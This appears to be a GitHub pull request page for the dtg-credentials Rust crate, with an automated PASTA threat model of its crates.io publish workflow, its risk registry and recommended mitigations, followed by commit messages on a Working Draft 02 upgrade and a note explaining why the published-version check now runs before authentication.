Existing Controls: Values are consistently double-quoted in the visible script ("$version") • Cargo enforces semver-compliant version strings, rejecting most injection-capable characters • set -euo pipefail reduces silent failure propagation
Recommended Mitigations: Explicitly validate $version against a strict semver regex before use in any shell context • Continue consistent quoting discipline throughout the full script • Add shellcheck to CI for this workflow file
🍝 PASTA Threat Model
Application Purpose
An automated GitHub Actions CI/CD pipeline that publishes the dtg-credentials Rust crate to crates.io using OIDC-based Trusted Publishing, providing reliable, idempotent, human-error-tolerant releases for a credentials-handling library consumed by downstream Rust projects.
Inherent Risks
- Crate publish workflows inherently trust the CI environment and third-party GitHub Actions with the power to release software consumed by unknown downstream parties.
- crates.io publishes are effectively permanent (yanking does not fully remove artifacts already downloaded), so any erroneous or malicious publish has long-lived impact.
- The workflow depends on the continued integrity and availability of a third-party registry index endpoint outside the repository's control.
Objectives
Risk: Tolerate transient external service failures (crates.io index) without silently mispublishing; Accept residual risk from third-party GitHub Action dependency
Business: Ensure reliable, low-friction releases of the dtg-credentials crate to crates.io; Avoid manual/hand-publishing that circumvents CI review and audit trail
Security: Avoid exposing long-lived crates.io API tokens in the repository or logs; Ensure only authorized, reviewed code is published under the dtg-credentials crate name; Limit blast radius of a compromised CI step or third-party action
Financial: Minimize CI compute cost from redundant or failed publish attempts
Compliance: Align with npm/crates.io ecosystem supply-chain security guidance (e.g., Trusted Publishing over static tokens); Maintain auditability of release actions for downstream consumer trust
Functional: Automatically detect whether a given crate version is already published and skip redundant work; Authenticate to crates.io using short-lived Trusted Publishing tokens instead of static secrets; Publish the crate via cargo publish --locked when appropriate
Operational: Make tag re-pushes recoverable after partial publish failures without manual intervention; Maintain idempotent publish behavior across repeated workflow triggers
Business Impact Analysis (1)
BIA-1: Automated Crate Release Pipeline (High)
The end-to-end process of building, verifying, authenticating, and publishing a new dtg-credentials crate version to crates.io in response to a version tag push.
MTD: 02 days 00:00 hours | RTO: 00 days 04:00 hours | RPO: 00 days 00:00 hours
- Stakeholders: Crate Maintainers / Downstream Rust Developers Consuming dtg-credentials / GitHub Actions Platform / crates.io Registry Operators
- Dependencies: GitHub Actions Runner Infrastructure / rust-lang/crates-io-auth-action / crates.io Sparse Index (index.crates.io) / crates.io Publish API / Cargo Toolchain
- Disruptions: crates.io index or publish API outage during a release window / Compromise of the crates-io-auth-action third-party dependency / Malicious or accidental tag push triggering an unintended publish / Race condition between concurrent workflow runs causing duplicate publish attempts
- Impacts: Delayed security patch delivery to downstream consumers (qualitative: high urgency) / Reputational damage if a malicious/compromised version is published under the trusted crate name / Potential legal/compliance exposure if dtg-credentials handles sensitive credential material and a tampered version is distributed / Wasted CI compute and OIDC token exchange attempts on failed/duplicate runs
Technical Scope
Roles (3): RO-1 Repository Maintainer · RO-2 CI Runner Service Identity · RO-3 Downstream Crate Consumer
Actors (3): AC-1 Repository Maintainer · AC-2 GitHub Actions Runner · AC-3 crates-io-auth-action Process
Entry Points (4): EP-1 Tag Push Trigger · EP-2 crates.io Index Query · EP-3 OIDC Trusted Publishing Exchange · EP-4 Crate Publish Submission
Threat Actors (3): TA-1 Supply Chain Attacker · TA-2 Malicious/Compromised Insider Collaborator · TA-3 Opportunistic Network Attacker
Infrastructure (1): IF-1 GitHub-Hosted Actions Runner
Trust Boundaries (3): TB-1 GitHub Actions Runner Boundary · TB-2 crates.io External Registry Boundary · TB-3 GitHub Repository Control Plane Boundary
External Entities (2): EE-1 crates.io Registry Service · EE-2 rust-lang GitHub Organization (Action Publisher)
System Components (4): SC-1 Publish Workflow Job · SC-2 crates-io-auth-action (Third-Party Action) · SC-3 crates.io Sparse Index · SC-4 crates.io Publish API
Resources And Assets (3): RA-1 CARGO_REGISTRY_TOKEN · RA-2 dtg-credentials Crate Package Artifact · RA-3 Skip/Publish Decision State
Technologies And Dependencies (5): TD-1 GitHub Actions · TD-2 rust-lang/crates-io-auth-action · TD-3 cargo · TD-4 jq · TD-5 curl
Use Cases (1)
- Automated Crate Version Publish on Tag Push: A maintainer pushes a new version tag, triggering the workflow to check whether the version is already on crates.io, authenticate via OIDC Trusted Publishing if not, and publish the crate.
📋 Risk Registry (7)
| ID | Title | Severity | Residual | Priority | Effort |
|---|---|---|---|---|---|
| RISK-1 | External registry index tampering causes incorrect publish/skip decisions | High | Medium | Short-Term | Low |
| RISK-2 | Compromise of pinned-by-tag third-party GitHub Action leads to token theft and unauthorized crate publish | High | Medium | Immediate | Low |
| RISK-3 | Concurrent workflow runs or manual publishes create a TOCTOU race causing duplicate/failed publish attempts | Medium | Low | Short-Term | Low |
| RISK-4 | Overly broad default GITHUB_TOKEN permissions increase blast radius of any compromised workflow step | Medium | Low | Immediate | Low |
| RISK-5 | Lack of tag/branch protection allows unauthorized actors with write access to trigger unintended publishes | Medium | Low | Medium-Term | Medium |
| RISK-6 | Insufficient audit trail for publish/skip decisions hampers incident forensics | Low | Low | Long-Term | Medium |
| RISK-7 | Single external dependency (crates.io index) availability directly gates release capability | Low | Low | Long-Term | Low |
⚔️ Attack Scenarios (3)
SC-1: Publish Workflow Job
---
config:
layout: dagre
look: classic
theme: dark
---
flowchart LR
subgraph SL1["1. System Component"]
direction LR
SC1@{ shape: rect, label: "SC-1: Publish Workflow Job" }
end
subgraph SL2["2. Weaknesses"]
direction LR
CWE345@{ shape: rect, label: "CWE-345: Insufficient Verification of Data Authenticity" }
CWE703@{ shape: rect, label: "CWE-703: Improper Check for Unusual Conditions" }
CWE367@{ shape: rect, label: "CWE-367: TOCTOU Race Condition" }
end
subgraph SL3["3. Attack Patterns"]
direction LR
CAPEC94@{ shape: rect, label: "CAPEC-94: Adversary in the Middle" }
CAPEC227@{ shape: rect, label: "CAPEC-227: Sustained Client Engagement" }
CAPEC25@{ shape: rect, label: "CAPEC-25: Forced Deadlock" }
end
subgraph SL4["4. Threats"]
direction LR
T1@{ shape: rect, label: "STRIDE-1: Skip-Check Response Spoofing<br><i>High / Possible</i>" }
T2@{ shape: rect, label: "STRIDE-2: Publish Decision Bypass<br><i>Medium / Likely</i>" }
T5@{ shape: rect, label: "STRIDE-5: TOCTOU Race Condition<br><i>Medium / Possible</i>" }
end
subgraph SL5["5. Threat Actors"]
direction LR
TA3@{ shape: rect, label: "TA-3: Opportunistic Network Attacker<br><i>Manipulate CI network traffic</i>" }
TA2@{ shape: rect, label: "TA-2: Malicious Insider Collaborator<br><i>Abuse repository write access</i>" }
end
CWE345 --> CAPEC94 --> T1 --> TA3
CWE703 --> CAPEC227 --> T2 --> TA3
CWE367 --> CAPEC25 --> T5 --> TA2
SC1 --> CWE345
SC1 --> CWE703
SC1 --> CWE367
linkStyle 0 stroke:#FF0000,stroke-width:2px
linkStyle 1 stroke:#FF0000,stroke-width:2px
linkStyle 2 stroke:#FF0000,stroke-width:2px
linkStyle 3 stroke:#FFA500,stroke-width:2px
linkStyle 4 stroke:#FFA500,stroke-width:2px
linkStyle 5 stroke:#FFA500,stroke-width:2px
linkStyle 6 stroke:#FFA500,stroke-width:2px
linkStyle 7 stroke:#FFA500,stroke-width:2px
linkStyle 8 stroke:#FFA500,stroke-width:2px
SC-2: crates-io-auth-action (Third-Party Action)
---
config:
layout: dagre
look: classic
theme: dark
---
flowchart LR
subgraph SL1["1. System Component"]
direction LR
SC2@{ shape: rect, label: "SC-2: crates-io-auth-action" }
end
subgraph SL2["2. Weaknesses"]
direction LR
CWE1357@{ shape: rect, label: "CWE-1357: Reliance on Insufficiently Trustworthy Component" }
CWE532@{ shape: rect, label: "CWE-532: Insertion of Sensitive Info into Log File" }
end
subgraph SL3["3. Attack Patterns"]
direction LR
CAPEC538@{ shape: rect, label: "CAPEC-538: Open-Source Library Manipulation" }
CAPEC117@{ shape: rect, label: "CAPEC-117: Interception" }
end
subgraph SL4["4. Threats"]
direction LR
T3@{ shape: rect, label: "STRIDE-3: Supply Chain Compromise<br><i>High / Possible</i>" }
T4@{ shape: rect, label: "STRIDE-4: Token Leakage via Logging<br><i>Medium / Unlikely</i>" }
end
subgraph SL5["5. Threat Actors"]
direction LR
TA1@{ shape: rect, label: "TA-1: Supply Chain Attacker<br><i>Compromise CI pipeline for downstream impact</i>" }
end
CWE1357 --> CAPEC538 --> T3 --> TA1
CWE532 --> CAPEC117 --> T4 --> TA1
SC2 --> CWE1357
SC2 --> CWE532
linkStyle 0 stroke:#FF0000,stroke-width:2px
linkStyle 1 stroke:#FF0000,stroke-width:2px
linkStyle 2 stroke:#FFA500,stroke-width:2px
linkStyle 3 stroke:#FFA500,stroke-width:2px
linkStyle 4 stroke:#FF0000,stroke-width:2px
linkStyle 5 stroke:#FFA500,stroke-width:2px
SC-1: Publish Workflow Job (Access Control Weaknesses)
---
config:
layout: dagre
look: classic
theme: dark
---
flowchart LR
subgraph SL1["1. System Component"]
direction LR
SC1B@{ shape: rect, label: "SC-1: Publish Workflow Job" }
end
subgraph SL2["2. Weaknesses"]
direction LR
CWE250@{ shape: rect, label: "CWE-250: Execution with Unnecessary Privileges" }
CWE346@{ shape: rect, label: "CWE-346: Origin Validation Error" }
CWE778@{ shape: rect, label: "CWE-778: Insufficient Logging" }
end
subgraph SL3["3. Attack Patterns"]
direction LR
CAPEC233@{ shape: rect, label: "CAPEC-233: Privilege Escalation" }
CAPEC196@{ shape: rect, label: "CAPEC-196: Session Credential Falsification" }
CAPEC93@{ shape: rect, label: "CAPEC-93: Log Injection-Tampering-Forging" }
end
subgraph SL4["4. Threats"]
direction LR
T9@{ shape: rect, label: "STRIDE-9: Missing Least-Privilege Permissions<br><i>Medium / Possible</i>" }
T10@{ shape: rect, label: "STRIDE-10: Tag Spoofing<br><i>Medium / Unlikely</i>" }
T6@{ shape: rect, label: "STRIDE-6: Missing Non-Repudiation<br><i>Low / Likely</i>" }
end
subgraph SL5["5. Threat Actors"]
direction LR
TA2B@{ shape: rect, label: "TA-2: Malicious Insider Collaborator<br><i>Abuse repository write access</i>" }
end
CWE250 --> CAPEC233 --> T9 --> TA2B
CWE346 --> CAPEC196 --> T10 --> TA2B
CWE778 --> CAPEC93 --> T6 --> TA2B
SC1B --> CWE250
SC1B --> CWE346
SC1B --> CWE778
linkStyle 0 stroke:#FFA500,stroke-width:2px
linkStyle 1 stroke:#FFA500,stroke-width:2px
linkStyle 2 stroke:#FFA500,stroke-width:2px
linkStyle 3 stroke:#00FF00,stroke-width:2px
linkStyle 4 stroke:#00FF00,stroke-width:2px
linkStyle 5 stroke:#00FF00,stroke-width:2px
📊 Risk Summary
Total Threats: 11
By Severity: Low: 3 · High: 2 · Medium: 5 · Informational: 1
By Category: Spoofing: 2 · Tampering: 6 · Denial of Service: 3 · Information Disclosure: 2 · Elevation of Privilege: 4 · Repudiation: 1
🎯 Attack Surface
Kill Chain 1: An opportunistic network attacker with on-path capability against the CI runner's egress traffic (TA-3) spoofs or tampers with the unauthenticated HTTPS response from the crates.io sparse index (SC-3, STRIDE-1), causing the skip-check logic (SC-1) to reach an incorrect publish/skip decision; combined with the error-suppressing curl ... 2>/dev/null fallback (STRIDE-2), this can either mask a real duplicate-publish attempt or silently prevent a legitimate release from occurring, directly undermining the release pipeline's core business objective of reliable, idempotent publishing. Kill Chain 2: A supply-chain attacker (TA-1) compromises the upstream rust-lang/crates-io-auth-action repository and re-points its mutable v1 tag (STRIDE-3), so that the next dtg-credentials release job unknowingly executes malicious action code with access to the OIDC-derived CARGO_REGISTRY_TOKEN (RA-1); if that token is also inadequately masked in logs (STRIDE-4) or the workflow lacks least-privilege permissions: scoping (STRIDE-9), the attacker can pivot from a single compromised dependency to full unauthorized publish of a malicious crate version (RA-2) under the trusted dtg-credentials name, achieving broad downstream supply-chain compromise. Kill Chain 3: A malicious or compromised insider collaborator (TA-2) with mere tag-push rights (no admin/publish-token access required) exploits the absence of tag protection rules (STRIDE-10) to push an unauthorized version tag, triggering the full publish workflow (EP-1 → SC-1 → EP-3 → EP-4) end-to-end via the legitimate Trusted Publishing flow; combined with a concurrent TOCTOU race (STRIDE-5) against a simultaneous legitimate release, this could result in either a duplicate/conflicting publish or a maintainer's genuine release being silently superseded, all while insufficient audit logging (STRIDE-6) hampers post-incident attribution of which actor's tag push actually caused the resulting crates.io state.
🛡️ Risk Mitigation Strategy
Priority 1 (Immediate): Pin the rust-lang/crates-io-auth-action dependency to an immutable commit SHA rather than the mutable v1 tag, and add an explicit least-privilege permissions: block to the workflow scoping the GITHUB_TOKEN to only id-token: write (and contents: read if needed) — these two changes directly close the highest-severity supply-chain and privilege-escalation gaps (RISK-2, RISK-4) with minimal implementation effort and no functional regression. Priority 2 (Short-Term): Harden the skip-check logic in the 'Skip if this version is already published' step to fail closed on ambiguous or failed curl/jq results rather than defaulting to published=false, and add a GitHub Actions concurrency: group keyed on the crate/tag to eliminate the TOCTOU race between concurrent workflow runs (RISK-1, RISK-3) — both changes are low-effort script/workflow-metadata edits that directly address the reliability regression this PR was intended to fix without reintroducing the original v0.6.0 incident's failure mode. Priority 3 (Medium-Term): Configure GitHub tag protection rules to restrict who can push release-triggering tags, and consider requiring manual approval via GitHub Environments before the Authenticate/Publish steps execute, closing the gap where any collaborator with mere tag-push access can trigger a full crates.io publish (RISK-5). Priority 4 (Long-Term): Improve non-repudiation and availability resilience by forwarding workflow run outcomes and skip/publish decisions to an external, longer-retention audit log with explicit actor/commit/tag metadata, and add a manual override mechanism to bypass the crates.io index check during known registry outages, ensuring future incidents (like the one referenced in the workflow's own comments) can be diagnosed quickly and releases are not indefinitely blocked by third-party availability issues (RISK-6, RISK-7).
Generated by Agentic Sec — Threat Model & Affect Analysis Agent
📊 Summary & findings
| ✅ Confirmed | |
|---|---|
| 4 | 0 |
Confirmed (4)
- 🟡 Third-party GitHub Action used without pinning to a commit SHA (triaged HIGH→MEDIUM)
- 🔵 Unauthenticated version-check response used to gate publish step without integrity verification (triaged MEDIUM→LOW)
- 🔵 crates.io registry token passed via environment variable to publish step (triaged MEDIUM→LOW)
- 🟡 curl failure output suppressed with 2>/dev/null masking error conditions (triaged LOW→MEDIUM)
* chore(deps): update to current releases Three of these are semver-major. `sha2` 0.10 -> 0.11 is the one worth noting: `affinidi-data-integrity` already pulls `sha2` 0.11 through `affinidi-crypto`, so the library was linking two copies of it and hashing with the older one. The library graph now carries a single `sha2`. Digest output is unchanged, which the tests pinning known digests confirm. The rest are dev-dependencies, so they affect the examples rather than the crate: `affinidi-tdk` 0.10 -> 0.12, `chacha20poly1305` 0.10 -> 0.11, and `rand` 0.8 -> 0.10. The `data_room` example moves to the `rand` 0.10 API (`rand::rng()`, `rand::Rng`) and off the now-deprecated `Key::from_slice` / `Nonce::from_slice`. Everything else moves within its existing range via `cargo update`. Only `generic-array` stays behind latest, held there by a transitive constraint. Signed-off-by: Glenn Gore <glenn.g@affinidi.com> * feat!: bring the library up to Working Draft 02 Both drafts 0.6.0 tracked have merged upstream - the VAC as PR #29 and the VDC as PR #19 - and the digest encoding changed underneath them. Breaking on the wire as well as in the API. The digest encoding. Working Draft 02 replaced `sha256:<lowercase hex>` with a base58btc multibase multihash and renamed the property from `digest` to `digestMultibase`. `digest_multibase()` becomes the conformant digest and now excludes the top-level `proof`, which is what it was deprecated for; `digest()` and `digest_json()` are deprecated but emit the old form unchanged, so a caller migrating can recompute a stored digest to compare. The old property name is still accepted when parsing, so credentials issued against WD01 deserialize - their values then fail with `InvalidDigest` rather than as a silent mismatch. Digests are compared as decoded bytes, never strings. The specification requires it because one digest has more than one spelling, and a string comparison would report a mismatch where the two credentials agree. An unimplemented hash algorithm is rejected rather than treated as a mismatch: a governing party may require a stronger hash, and conflating the two would silently downgrade that choice into a failed comparison. `authority.parent` is now a digest rather than an `id`. A digest names nothing that can be fetched, so verification cannot come to depend on network availability, a verifier cannot be induced to request an address of the holder's choosing, and nobody hosting an identifier learns when a credential is used. It also binds a link to the exact claims its issuer narrowed from: re-issuing a parent orphans its children, while re-proofing leaves them alone. Adds `attenuate_from_json` for a parent that arrived from a counterparty, and an `AuthorityError::Digest` kept distinct from `BrokenLink` - a malformed chain and a widening one are different findings. The VDC, which was previously a type string over a bare subject. Now carries a `delegation` object, forms a grant/acceptance edge, and has chain verification. The acceptance is required: a grant alone establishes what the delegator appointed, not what the delegate agreed to, and a delegator cannot produce the countersignature. Re-delegation is opt-in, the opposite default from attenuation, because a delegate speaks in the principal's name and the principal keeps the register of who may do so. `delegation::verify_chain` returns what the chain appoints for and deliberately not whether the act is permitted - a VDC moves the permission question, it does not answer it. `validUntil` becomes REQUIRED on a VAC and a VDC. For a VAC the reasoning is sharper: nothing about the subject's current standing is consulted at verification, so authority that does not expire is authority nobody can withdraw by waiting. `credentialStatus` is modelled and `DTGCommon::extra` preserves unmodelled top-level members, both because a parse-then-re-serialise used to drop them and silently change a credential's digest. That narrows rather than closes the hazard - a timestamp is still normalized on the way out - so the wire-form constructors remain the safe habit, with a test pinning exactly that. Status is modelled but not resolved; no revocation checking happens anywhere in this crate. Fixes one real bug: `new_member_vmc` probed `credentialSubject` for `digest` to tell a grant from an acknowledgement, and after the rename would have accepted an acknowledgement as a grant. Deliberately not implemented: the three VAC changes in flight upstream - revocation (PR #39), a `maxAttenuation` ceiling (PR #40), and key control at invocation, which removes `audience` (PR #41). `audience` stays until that lands rather than removing a shipped field twice. Correlation scope (PR #30) retired the R-DID/M-DID/C-DID/P-DID types, but the specification has not yet named the property carrying the declaration, so only the retired names leave the docs. 115 tests, up from 73. `tests/delegation_chain.rs` is new and, like `authority_chain.rs`, is mostly attacks: what makes either credential safe is a verifier refusing a chain that widens. Signed-off-by: Glenn Gore <glenn.g@affinidi.com> --------- Signed-off-by: Glenn Gore <glenn.g@affinidi.com>
The
v0.6.0tag push failed onNo Trusted Publishing config found— even though 0.6.0 was already on crates.io, published by hand minutes earlier. It should have been a clean no-op.The skip is what makes a re-pushed tag recoverable, which is the entire reason it exists, and it could not do that job from behind the auth step because it never ran. A step that decides whether to act should not sit downstream of acquiring the means to act.
The check now runs first and gates both the authentication and the publish. A tag for a version already on crates.io is a green no-op whether or not Trusted Publishing has ever been configured.
Still outstanding
Trusted Publishing is not configured on crates.io, so the first genuine release through this workflow will still fail at the auth step. That is the correct failure and the workflow header says how to fix it — on crates.io, under the crate's Settings → Trusted Publishing: owner
OpenVTC, repositorydtg-credentials, workflowpublish.yml.Until then a release means
cargo publishby hand, which is what happened for 0.6.0.